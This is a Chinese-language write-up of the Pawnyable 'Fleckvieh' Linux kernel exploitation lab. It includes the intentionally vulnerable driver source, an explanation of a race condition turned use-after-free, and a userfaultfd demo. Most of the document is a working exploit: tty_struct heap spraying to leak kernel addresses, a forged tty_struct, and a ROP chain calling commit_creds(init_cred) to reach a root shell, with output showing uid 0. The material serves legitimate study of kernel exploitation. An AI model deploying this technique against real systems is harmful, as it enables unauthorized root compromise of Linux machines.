原文
Linux Kernel PWN | 040303 Pawnyable之userfaultfd
userfaultfdの利用
题目下载
代码分析
#include <linux/cdev.h>
#include <linux/fs.h>
#include <linux/kernel.h>
#include <linux/module.h>
#include <linux/random.h>
#include <linux/slab.h>
#include <linux/uaccess.h>MODULE_LICENSE("GPL");
MODULE_AUTHOR("ptr-yudai");
MODULE_DESCRIPTION("Fleckvieh - Vulnerable Kernel Driver for Pawnyable");#define DEVICE_NAME "fleckvieh"
#define CMD_ADD 0xf1ec0001
#define CMD_DEL 0xf1ec0002
#define CMD_GET 0xf1ec0003
#define CMD_SET 0xf1ec0004typedef struct {int id;size_t size;char *data;
} request_t;typedef struct {int id;size_t size;char *data;struct list_head list;
} blob_list;static int module_open(struct inode *inode, struct file *filp) {/* Allocate list head */filp->private_data = (void*)kmalloc(sizeof(struct list_head), GFP_KERNEL);if (unlikely(!filp->private_data))return -ENOMEM;INIT_LIST_HEAD((struct list_head*)filp->private_data);return 0;
}static int module_close(struct inode *inode, struct file *filp) {struct list_head *top;blob_list *itr, *tmp;/* Remove everything */top = (struct list_head*)filp->private_data;tmp = NULL;list_for_each_entry_safe(itr, tmp, top, list) {list_del(&itr->list);kfree(itr->data);kfree(itr);}kfree(top);return 0;
}blob_list *blob_find_by_id(struct list_head *top, int id) {blob_list *itr;/* Find blob by id */list_for_each_entry(itr, top, list) {if (unlikely(itr->id == id)) return itr;}return NULL;
}long blob_add(struct list_head *top, request_t *req) {blob_list *new;/* Check size */if (req->size > 0x1000)return -EINVAL;/* Allocate a new blob structure */new = (blob_list*)kmalloc(sizeof(blob_list), GFP_KERNEL);if (unlikely(!new)) return -ENOMEM;/* Allocate data buffer */new->data = (char*)kmalloc(req->size, GFP_KERNEL);if (unlikely(!new->data)) {kfree(new);return -ENOMEM;}/* Copy data from user buffer */if (unlikely(copy_from_user(new->data, req->data, req->size))) {kfree(new->data);kfree(new);return -EINVAL;}new->size = req->size;INIT_LIST_HEAD(&new->list);/* Generate a random positive integer */do {get_random_bytes(&new->id, sizeof(new->id));} while (unlikely(new->id < 0));/* Insert to list */list_add(&new->list, top);return new->id;
}long blob_del(struct list_head *top, request_t *req) {blob_list *victim;if (!(victim = blob_find_by_id(top, req->id)))return -EINVAL;/* Delete the item */list_del(&victim->list);kfree(victim->data);kfree(victim);return req->id;
}long blob_get(struct list_head *top, request_t *req) {blob_list *victim;if (!(victim = blob_find_by_id(top, req->id)))return -EINVAL;/* Check size */if (req->size > victim->size)return -EINVAL;/* Copy data to user */if (unlikely(copy_to_user(req->data, victim->data, req->size)))return -EINVAL;return req->id;
}long blob_set(struct list_head *top, request_t *req) {blob_list *victim;if (!(victim = blob_find_by_id(top, req->id)))return -EINVAL;/* Check size */if (req->size > victim->size)return -EINVAL;/* Copy data from user */if (unlikely(copy_from_user(victim->data, req->data, req->size)))return -EINVAL;return req->id;
}static long module_ioctl(struct file *filp,unsigned int cmd,unsigned long arg) {struct list_head *top;request_t req;if (unlikely(copy_from_user(&req, (void*)arg, sizeof(req))))return -EINVAL;top = (struct list_head*)filp->private_data;switch (cmd) {case CMD_ADD: return blob_add(top, &req);case CMD_DEL: return blob_del(top, &req);case CMD_GET: return blob_get(top, &req);case CMD_SET: return blob_set(top, &req);default: return -EINVAL;}
}static struct file_operations module_fops = {.owner = THIS_MODULE,.open = module_open,.release = module_close,.unlocked_ioctl = module_ioctl
};static dev_t dev_id;
static struct cdev c_dev;static int __init module_initialize(void)
{if (alloc_chrdev_region(&dev_id, 0, 1, DEVICE_NAME))return -EBUSY;cdev_init(&c_dev, &module_fops);c_dev.owner = THIS_MODULE;if (cdev_add(&c_dev, dev_id, 1)) {unregister_chrdev_region(dev_id, 1);return -EBUSY;}return 0;
}static void __exit module_cleanup(void)
{cdev_del(&c_dev);unregister_chrdev_region(dev_id, 1);
}module_init(module_initialize);
module_exit(module_cleanup);
打开驱动
会创建一个双向链表,并将filp->private_data指向这个双向链表
blob_add
- 创建一个
struct blob_list
节点, - 并根据参数
req-size
传递的长度,创建一个堆空间,blob_list->data
指向这个堆空间, - 再通过
copy_from_user
,将参数req->data
指向的用户空间的内容复制到blob_list->data
中, - 之后将
req->size
也就是req->data
的长度值赋值给blob_list->size
- 接着初始化
blob_list->list
双向链表,并链入到filp->private_data
- 最后生成一个随机数,赋值到
blob_list->id
中,并返回给调用者,用来索引该节点
blob_del
- 通过参数
req->id
索引到blob_list节点 - 将该节点从
filp->private_data
双向链表中断开 - 删除
blob_list->data
指向的堆空间 - 删除
struct blob_list
节点占据的空间
blob_get
- 通过参数
req->id
索引到blob_list节点 - 通过
copy_to_user
将blob_list->data
中的内容复制到参数req->data
指向的用户空间
blob_set
- 通过参数
req->id
索引到blob_list节点 - 通过
copy_from_user
将参数req->data
指向用户空间的内容复制到blob_list->data
指向的内核空间
漏洞分析
代码存在条件竞争,并可转换为UAF漏洞
条件竞争->UAF:实现内核地址泄露
- 线程1新增一个链表节点A(blob_add)
- 线程1对链表节点A执行查询操作(blob_get);在copy_to_user执行前,线程2对链表节点A执行删除操作(blob_del),并喷射tty_struct占位(依赖于blob_add是传递参数req->size的值)
- 线程1执行copy_to_user,实际上将某个tty_struct的内容复制到了用户空间
条件竞争->UAF:实现控制流劫持
转化为UAF漏洞并实现控制流劫持所需的竞态状态:
1.线程1新增一个链表节点B(blob_add)
2.线程1对链表节点B执行查询操作(blob_set);在copy_from_user执行前,线程2对链表节点B执行删除操作(blob_del),并喷射tty_struct占位
3.线程1执行copy_from_user,实际上将占位的tty_struct内容替换成了攻击者的伪造tty_struct
条件竞争点在于,在执行copy_to_user
和copy_from_user
前,需要完成blob_list节点的删除,和堆喷的重新占位,这个难度较大,但是userfaultfd
可以解决当前题目环境的问题。
userfaultfd解析
参考
man ioctl_userfaultfd
man userfaultfd
userfaultfd的功能
userfaultfd
用于处理用户态缺页异常。比如mmap分配一段内存空间,此刻这段这段内存空间没有与物理页挂钩,只有实际对该空间进行读/写时,才通过缺页异常进入内核态挂载物理页。
现在可以通过userfaultfd
机制,在用户态处理这个缺页异常。
比方,mmap 4页大小的虚拟空间,现在还没有挂上物理页
现在要往这段空间写入大量的数据,4 * 0x1000字节的数据。由于4 * 0x1000是4个page页的大小,每个页都会触发一次缺页异常,因此每个页都会触发一次userfaultfd
在经过userfaultfd处理后,这段4 * 0x1000虚拟空间都挂上了物理页,以后对这些虚拟空间的读写就不会发生缺页异常,因此对于每一个page大小的虚拟空间,userfaultfd只触发一次
。
现在看看userfaultfd是怎么进行处理的
(步骤5大概就是这意思,我不知道是挂载的原始页,还是再生成新页,再把新页挂载到虚拟空间上?)
对于写
对于读
userfaultfd 操作逻辑
- 1、要使用userfaultfd功能,需要通过系统调用获取操作
userfaultfd
的文件句柄,假设获取到的句柄是uffd
int uffd = syscall(__NR_userfaultfd, O_CLOEXEC | O_NONBLOCK);
- 2、通过
uffd
配置userfaultfd
功能版本,缺页类型ioctl(uffd, UFFDIO_API, &uffdio_api)
- 3、通过
uffd
配置注册缺页监控范围ioctl(uffd, UFFDIO_REGISTER, &uffdio_register)
- 4、通过
uffd
文件描述符轮询缺页事件(由于从轮询事件会发生阻塞,所以从这一步往下需要放到一个新线程中)pthread_create(&th, NULL, fault_handler_thread, (void *)uffd)
- 5、通过
uffd
配置处理缺页事件ioctl(uffd, UFFDIO_COPY, ©)
推荐看这三个文档
man ioctl_userfaultfd
man userfaultfd
https://www.kernel.org/doc/html/next/admin-guide/mm/userfaultfd.html
https://xz.aliyun.com/t/6653
再结合如下demo进行理解
/*
serfaultfd机制允许多线程程序中的某个线程为其他线程提供用户空间页面——如果该线程将这些页面注册到了userfaultfd对象上,
那么当针对这些页面的缺页异常发生时,触发缺页异常的线程将暂停运行,内核将生成一个缺页异常事件并通过userfaultfd文件描述符传递给异常处理线程。
异常处理线程可以做一些处理,然后唤醒之前暂停的线程该程序首先使用mmap在用户空间分配两个匿名页,接着创建userfaultfd,并启动一个线程来处理缺页异常。
然后,主线程尝试向先前申请的两个匿名页依次写入数据。
针对这两个页的第一次读操作将触发两次缺页异常,子线程将从阻塞态恢复并执行处理逻辑。
针对同一页面的第二次及之后的读写操作将不再触发缺页异常
*/
#define _GNU_SOURCE
#include <assert.h>
#include <fcntl.h>
#include <linux/userfaultfd.h>
#include <poll.h>
#include <pthread.h>
#include <signal.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/ioctl.h>
#include <sys/mman.h>
#include <sys/syscall.h>
#include <sys/types.h>
#include <unistd.h>void fatal(const char *msg) {perror(msg);exit(1);
}static void *fault_handler_thread(void *arg) {char *dummy_page;static struct uffd_msg msg;struct uffdio_copy copy;struct pollfd pollfd;long uffd;static int fault_cnt = 0;uffd = (long)arg;puts("[t][*] mmaping one dummy page");dummy_page = mmap(NULL, 0x1000, PROT_READ | PROT_WRITE,MAP_PRIVATE | MAP_ANONYMOUS, -1, 0);if (dummy_page == MAP_FAILED)fatal("mmap(dummy)");puts("[t][*] waiting for page fault");pollfd.fd = uffd;pollfd.events = POLLIN;while (poll(&pollfd, 1, -1) > 0) {if (pollfd.revents & POLLERR || pollfd.revents & POLLHUP)fatal("poll");// block until triggered// 非阻塞I/O使我们的操作要么成功,要么立即返回错误,不被阻塞if (read(uffd, &msg, sizeof(msg)) <= 0)fatal("read(uffd)");assert(msg.event == UFFD_EVENT_PAGEFAULT);puts("[t][+] caught page fault");printf("[t][+] uffd: flag=0x%llx, addr=0x%llx\n", msg.arg.pagefault.flags, msg.arg.pagefault.address);// craft data and copyputs("[t][*] writing hello world into dummy page");if (fault_cnt++ == 0)strcpy(dummy_page, "Hello, world! (1)");elsestrcpy(dummy_page, "Hello, world! (2)");puts("[t][*] copying data from dummy page to faulted page");copy.src = (unsigned long)dummy_page;copy.dst = (unsigned long)msg.arg.pagefault.address & ~0xfff;copy.len = 0x1000;copy.mode = 0;copy.copy = 0;if (ioctl(uffd, UFFDIO_COPY, ©) == -1)fatal("ioctl(UFFDIO_COPY)");}return NULL;
}int register_uffd(void *addr, size_t len) {struct uffdio_api uffdio_api;struct uffdio_register uffdio_register;long uffd;pthread_t th;puts("[*] registering userfaultfd");uffd = syscall(__NR_userfaultfd, O_CLOEXEC | O_NONBLOCK);if (uffd == -1)fatal("userfaultfd");uffdio_api.api = UFFD_API;uffdio_api.features = 0;if (ioctl(uffd, UFFDIO_API, &uffdio_api) == -1)fatal("ioctl(UFFDIO_API)");uffdio_register.range.start = (unsigned long)addr;uffdio_register.range.len = len;uffdio_register.mode = UFFDIO_REGISTER_MODE_MISSING;if (ioctl(uffd, UFFDIO_REGISTER, &uffdio_register) == -1)fatal("UFFDIO_REGISTER");puts("[*] spawning a fault handler thread");if (pthread_create(&th, NULL, fault_handler_thread, (void *)uffd))fatal("pthread_create");return 0;
}int main() {void *page;page = mmap(NULL, 0x2000, PROT_READ | PROT_WRITE, MAP_PRIVATE | MAP_ANONYMOUS, -1, 0);if (page == MAP_FAILED)fatal("mmap");printf("[+] mmap two pages at 0x%llx\n", (long long unsigned int)page);register_uffd(page, 0x2000);char buf[0x100];puts("[*] reading from page#1");strcpy(buf, (char *)(page));printf("[+] 0x0000: %s\n", buf);puts("[*] reading from page#2");strcpy(buf, (char *)(page + 0x1000));printf("[+] 0x1000: %s\n", buf);puts("[*] reading from page#1");strcpy(buf, (char *)(page));printf("[+] 0x0000: %s\n", buf);puts("[*] reading from page#2");strcpy(buf, (char *)(page + 0x1000));printf("[+] 0x1000: %s\n", buf);getchar();return 0;
}
/*
[+] mmap two pages at 0x7f0ed2616000
[*] registering userfaultfd
[*] spawning a fault handler thread
[t][*] mmaping one dummy page
[t][*] waiting for page fault
[*] reading from page#1
[t][+] catched page fault
[t][+] uffd: flag=0x0, addr=0x7f0ed2616000
[t][*] writing hello world into dummy page
[t][*] copying data from dummy page to faulted page
[+] 0x0000: Hello, world! (1)
[*] reading from page#2
[t][+] catched page fault
[t][+] uffd: flag=0x0, addr=0x7f0ed2617000
[t][*] writing hello world into dummy page
[t][*] copying data from dummy page to faulted page
[+] 0x1000: Hello, world! (2)
[*] reading from page#1
[+] 0x0000: Hello, world! (1)
[*] reading from page#2
[+] 0x1000: Hello, world! (2)
*/
漏洞利用
对于本体,只要用户空间被userfaultfd监控,条件竞争就能稳定触发成功
poc
#define _GNU_SOURCE
#include <assert.h>
#include <fcntl.h>
#include <linux/userfaultfd.h>
#include <poll.h>
#include <pthread.h>
#include <sched.h>
#include <signal.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/ioctl.h>
#include <sys/mman.h>
#include <sys/syscall.h>
#include <sys/types.h>
#include <unistd.h>#define CMD_ADD 0xf1ec0001
#define CMD_DEL 0xf1ec0002
#define CMD_GET 0xf1ec0003
#define CMD_SET 0xf1ec0004#define SPRAY_NUM 0x10#define ofs_tty_ops 0xc3c3c0void fatal(const char *msg) {perror(msg);exit(1);
}typedef struct {long id;size_t size;char *data;
} request_t;int ptmx[SPRAY_NUM];
cpu_set_t pwn_cpu;
int victim;
int fd;
char *buf;
unsigned long kbase, kheap;int add(char *data, size_t size) {request_t req = {.size = size, .data = data};int r = ioctl(fd, CMD_ADD, &req);if (r == -1)fatal("blob_add");return r;
}int del(int id) {request_t req = {.id = id};int r = ioctl(fd, CMD_DEL, &req);if (r == -1)fatal("blob_del");return r;
}int get(int id, char *data, size_t size) {request_t req = {.id = id, .size = size, .data = data};int r = ioctl(fd, CMD_GET, &req);if (r == -1)fatal("blob_get");return r;
}int set(int id, char *data, size_t size) {request_t req = {.id = id, .size = size, .data = data};int r = ioctl(fd, CMD_SET, &req);if (r == -1)fatal("blob_set");return r;
}static void *fault_handler_thread(void *arg) {static struct uffd_msg msg;struct uffdio_copy copy;struct pollfd pollfd;long uffd;static int fault_cnt = 0;puts("[t][*] set cpu affinity");if (sched_setaffinity(0, sizeof(cpu_set_t), &pwn_cpu))fatal("sched_setaffinity");uffd = (long)arg;puts("[t][*] waiting for page fault");pollfd.fd = uffd;pollfd.events = POLLIN;while (poll(&pollfd, 1, -1) > 0) {if (pollfd.revents & POLLERR || pollfd.revents & POLLHUP)fatal("poll");if (read(uffd, &msg, sizeof(msg)) <= 0)fatal("read(uffd)");assert(msg.event == UFFD_EVENT_PAGEFAULT);puts("[t][+] caught page fault");switch (fault_cnt++) {case 0:case 1: {puts("[t][*] crafting UAF");puts("[t][*] deleting victim blob");del(victim);printf("[t][*] spraying %d tty_struct objects\n", SPRAY_NUM);for (int i = 0; i < SPRAY_NUM; i++) {ptmx[i] = open("/dev/ptmx", O_RDONLY | O_NOCTTY);if (ptmx[i] == -1)fatal("/dev/ptmx");}// just reuse the buf in user landcopy.src = (unsigned long)buf;break;}}copy.dst = (unsigned long)msg.arg.pagefault.address;copy.len = 0x1000;copy.mode = 0;copy.copy = 0;if (ioctl(uffd, UFFDIO_COPY, ©) == -1)fatal("ioctl(UFFDIO_COPY)");}return NULL;
}int register_uffd(void *addr, size_t len) {struct uffdio_api uffdio_api;struct uffdio_register uffdio_register;long uffd;pthread_t th;puts("[*] registering userfaultfd");uffd = syscall(__NR_userfaultfd, O_CLOEXEC | O_NONBLOCK);if (uffd == -1)fatal("userfaultfd");uffdio_api.api = UFFD_API;uffdio_api.features = 0;if (ioctl(uffd, UFFDIO_API, &uffdio_api) == -1)fatal("ioctl(UFFDIO_API)");uffdio_register.range.start = (unsigned long)addr;uffdio_register.range.len = len;uffdio_register.mode = UFFDIO_REGISTER_MODE_MISSING;if (ioctl(uffd, UFFDIO_REGISTER, &uffdio_register) == -1)fatal("UFFDIO_REGISTER");puts("[*] spawning a fault handler thread");if (pthread_create(&th, NULL, fault_handler_thread, (void *)uffd))fatal("pthread_create");return 0;
}int main() {puts("[*] set cpu affinity");CPU_ZERO(&pwn_cpu);CPU_SET(0, &pwn_cpu);if (sched_setaffinity(0, sizeof(cpu_set_t), &pwn_cpu))fatal("sched_setaffinity");fd = open("/dev/fleckvieh", O_RDWR);if (fd == -1)fatal("/dev/fleckvieh");void *page;page = mmap(NULL, 0x2000, PROT_READ | PROT_WRITE, MAP_PRIVATE | MAP_ANONYMOUS, -1, 0);if (page == MAP_FAILED)fatal("mmap");printf("[+] mmap two pages at 0x%llx\n", (long long unsigned int)page);register_uffd(page, 0x2000);buf = (char *)malloc(0x1000);victim = add(buf, 0x400);set(victim, "Hello", 6);puts("[*] UAF#1 leak kbase");puts("[*] reading 0x20 bytes from victim blob to page#1");get(victim, page, 0x20);kbase = *(unsigned long *)&((char *)page)[0x18] - ofs_tty_ops;for (int i = 0; i < SPRAY_NUM; i++)close(ptmx[i]);puts("[*] UAF#2 leak kheap");victim = add(buf, 0x400);puts("[*] reading 0x400 bytes from victim blob to page#2");get(victim, page + 0x1000, 0x400);kheap = *(unsigned long *)(page + 0x1038) - 0x38;for (int i = 0; i < SPRAY_NUM; i++)close(ptmx[i]);printf("[+] leaked kbase: 0x%lx, kheap: 0x%lx\n", kbase, kheap);return 0;
}
/*
~ $ /exploit
[*] set cpu affinity
[+] mmap two pages at 0x7fe0ac175000
[*] registering userfaultfd
[*] spawning a fault handler thread
[*] UAF#1 leak kbase
[*] reading 0x20 bytes from victim blob to page#1
[t][*] set cpu affinity
[t][*] waiting for page fault
[t][+] caught page fault
[t][*] crafting UAF
[t][*] deleting victim blob
[t][*] spraying 16 tty_struct objects
[*] UAF#2 leak kheap
[*] reading 0x400 bytes from victim blob to page#2
[t][+] caught page fault
[t][*] crafting UAF
[t][*] deleting victim blob
[t][*] spraying 16 tty_struct objects
[+] leaked kbase: 0xffffffff81000000, kheap: 0xffff8880030cc800
*/
exp
#define _GNU_SOURCE
#include <assert.h>
#include <fcntl.h>
#include <linux/userfaultfd.h>
#include <poll.h>
#include <pthread.h>
#include <sched.h>
#include <signal.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/ioctl.h>
#include <sys/mman.h>
#include <sys/syscall.h>
#include <sys/types.h>
#include <unistd.h>#define CMD_ADD 0xf1ec0001
#define CMD_DEL 0xf1ec0002
#define CMD_GET 0xf1ec0003
#define CMD_SET 0xf1ec0004#define SPRAY_NUM 0x10
#define ofs_tty_ops 0xc3c3c0#define push_rdx_pop_rsp_pop_ret (kbase + 0x09b13a)
#define commit_creds (kbase + 0x072830)
#define pop_rdi_ret (kbase + 0x09b0ed)
#define swapgs_restore_regs_and_return_to_usermode (kbase + 0x800e26)
#define init_cred (kbase + 0xe37480)void fatal(const char *msg) {perror(msg);exit(1);
}typedef struct {long id;size_t size;char *data;
} request_t;unsigned long user_cs, user_ss, user_sp, user_rflags;void spawn_shell() {puts("[+] returned to user land");uid_t uid = getuid();if (uid == 0) {printf("[+] got root (uid = %d)\n", uid);} else {printf("[!] failed to get root (uid: %d)\n", uid);exit(-1);}puts("[*] spawning shell");system("/bin/sh");exit(0);
}void save_userland_state() {puts("[*] saving user land state");__asm__(".intel_syntax noprefix;""mov user_cs, cs;""mov user_ss, ss;""mov user_sp, rsp;""pushf;""pop user_rflags;"".att_syntax");
}int ptmx[SPRAY_NUM];
cpu_set_t pwn_cpu;
int victim;
int fd;
char *buf;
unsigned long kbase, kheap;int add(char *data, size_t size) {request_t req = {.size = size, .data = data};int r = ioctl(fd, CMD_ADD, &req);if (r == -1)fatal("blob_add");return r;
}int del(int id) {request_t req = {.id = id};int r = ioctl(fd, CMD_DEL, &req);if (r == -1)fatal("blob_del");return r;
}int get(int id, char *data, size_t size) {request_t req = {.id = id, .size = size, .data = data};int r = ioctl(fd, CMD_GET, &req);if (r == -1)fatal("blob_get");return r;
}int set(int id, char *data, size_t size) {request_t req = {.id = id, .size = size, .data = data};int r = ioctl(fd, CMD_SET, &req);if (r == -1)fatal("blob_set");return r;
}static void *fault_handler_thread(void *arg) {static struct uffd_msg msg;struct uffdio_copy copy;struct pollfd pollfd;long uffd;static int fault_cnt = 0;puts("[t][*] set cpu affinity");if (sched_setaffinity(0, sizeof(cpu_set_t), &pwn_cpu))fatal("sched_setaffinity");uffd = (long)arg;puts("[t][*] waiting for page fault");pollfd.fd = uffd;pollfd.events = POLLIN;while (poll(&pollfd, 1, -1) > 0) {if (pollfd.revents & POLLERR || pollfd.revents & POLLHUP)fatal("poll");if (read(uffd, &msg, sizeof(msg)) <= 0)fatal("read(uffd)");assert(msg.event == UFFD_EVENT_PAGEFAULT);puts("[t][+] caught page fault");switch (fault_cnt++) {case 0:case 1: {puts("[t][*] UAF read");del(victim);printf("[t][*] spraying %d tty_struct objects\n", SPRAY_NUM);for (int i = 0; i < SPRAY_NUM; i++) {ptmx[i] = open("/dev/ptmx", O_RDONLY | O_NOCTTY);if (ptmx[i] == -1)fatal("/dev/ptmx");}copy.src = (unsigned long)buf;break;}case 2: {puts("[t][*] UAF write");printf("[t][*] spraying %d fake tty_struct objects (blob)\n", 0x100);for (int i = 0; i < 0x100; i++)add(buf, 0x400);del(victim);printf("[t][*] spraying %d tty_struct objects\n", SPRAY_NUM);for (int i = 0; i < SPRAY_NUM; i++) {ptmx[i] = open("/dev/ptmx", O_RDONLY | O_NOCTTY);if (ptmx[i] == -1)fatal("/dev/ptmx");}copy.src = (unsigned long)buf;break;}default:fatal("[t][-] unexpected page fault");}copy.dst = (unsigned long)msg.arg.pagefault.address;copy.len = 0x1000;copy.mode = 0;copy.copy = 0;if (ioctl(uffd, UFFDIO_COPY, ©) == -1)fatal("ioctl(UFFDIO_COPY)");}return NULL;
}int register_uffd(void *addr, size_t len) {struct uffdio_api uffdio_api;struct uffdio_register uffdio_register;long uffd;pthread_t th;puts("[*] registering userfaultfd");uffd = syscall(__NR_userfaultfd, O_CLOEXEC | O_NONBLOCK);if (uffd == -1)fatal("userfaultfd");uffdio_api.api = UFFD_API;uffdio_api.features = 0;if (ioctl(uffd, UFFDIO_API, &uffdio_api) == -1)fatal("ioctl(UFFDIO_API)");uffdio_register.range.start = (unsigned long)addr;uffdio_register.range.len = len;uffdio_register.mode = UFFDIO_REGISTER_MODE_MISSING;if (ioctl(uffd, UFFDIO_REGISTER, &uffdio_register) == -1)fatal("UFFDIO_REGISTER");puts("[*] spawning a fault handler thread");if (pthread_create(&th, NULL, fault_handler_thread, (void *)uffd))fatal("pthread_create");return 0;
}int main() {save_userland_state();puts("[*] set cpu affinity");CPU_ZERO(&pwn_cpu);CPU_SET(0, &pwn_cpu);if (sched_setaffinity(0, sizeof(cpu_set_t), &pwn_cpu))fatal("sched_setaffinity");fd = open("/dev/fleckvieh", O_RDWR);if (fd == -1)fatal("/dev/fleckvieh");void *page;page = mmap(NULL, 0x3000, PROT_READ | PROT_WRITE, MAP_PRIVATE | MAP_ANONYMOUS, -1, 0);if (page == MAP_FAILED)fatal("mmap");printf("[+] mmap three pages at 0x%llx\n", (long long unsigned int)page);register_uffd(page, 0x3000);buf = (char *)malloc(0x1000);puts("[*] UAF#1 leak kbase");puts("[*] reading 0x20 bytes from victim blob to page#1");victim = add(buf, 0x400);get(victim, page, 0x20);kbase = *(unsigned long *)&((char *)page)[0x18] - ofs_tty_ops;for (int i = 0; i < SPRAY_NUM; i++)close(ptmx[i]);puts("[*] UAF#2 leak kheap");victim = add(buf, 0x400);puts("[*] reading 0x400 bytes from victim blob to page#2");get(victim, page + 0x1000, 0x400);kheap = *(unsigned long *)(page + 0x1038) - 0x38;for (int i = 0; i < SPRAY_NUM; i++)close(ptmx[i]);printf("[+] leaked kbase: 0x%lx, kheap: 0x%lx\n", kbase, kheap);puts("[*] crafting fake tty_struct in buf");memcpy(buf, page + 0x1000, 0x400);unsigned long *tty = (unsigned long *)buf;tty[0] = 0x0000000100005401; // magictty[2] = *(unsigned long *)(page + 0x10); // devtty[3] = kheap; // opstty[12] = push_rdx_pop_rsp_pop_ret; // ops->ioctlputs("[*] crafting rop chain");unsigned long *chain = (unsigned long *)(buf + 0x100);*chain++ = 0xdeadbeef; // pop*chain++ = pop_rdi_ret;*chain++ = init_cred;*chain++ = commit_creds;*chain++ = swapgs_restore_regs_and_return_to_usermode;*chain++ = 0x0;*chain++ = 0x0;*chain++ = (unsigned long)&spawn_shell;*chain++ = user_cs;*chain++ = user_rflags;*chain++ = user_sp;*chain++ = user_ss;puts("[*] UAF#3 write rop chain");victim = add(buf, 0x400);set(victim, page + 0x2000, 0x400);puts("[*] invoking ioctl to hijack control flow");for (int i = 0; i < SPRAY_NUM; i++)ioctl(ptmx[i], 0, kheap + 0x100);getchar();return 0;
}
/*
~ $ /exploit
[*] saving user land state
[*] set cpu affinity
[+] mmap three pages at 0x7faf152a4000
[*] registering userfaultfd
[*] spawning a fault handler thread
[*] UAF#1 leak kbase
[*] reading 0x20 bytes from victim blob to page#1
[t][*] set cpu affinity
[t][*] waiting for page fault
[t][+] caught page fault
[t][*] UAF read
[t][*] spraying 16 tty_struct objects
[*] UAF#2 leak kheap
[*] reading 0x400 bytes from victim blob to page#2
[t][+] caught page fault
[t][*] UAF read
[t][*] spraying 16 tty_struct objects
[+] leaked kbase: 0xffffffffbe000000, kheap: 0xffffa15381cda400
[*] crafting fake tty_struct in buf
[*] crafting rop chain
[*] UAF#3 write rop chain
[t][+] caught page fault
[t][*] UAF write
[t][*] spraying 256 fake tty_struct objects (blob)
[t][*] spraying 16 tty_struct objects
[*] invoking ioctl to hijack control flow
[+] returned to user land
[+] got root (uid = 0)
[*] spawning shell
/ # id
uid=0(root) gid=0(root)
*/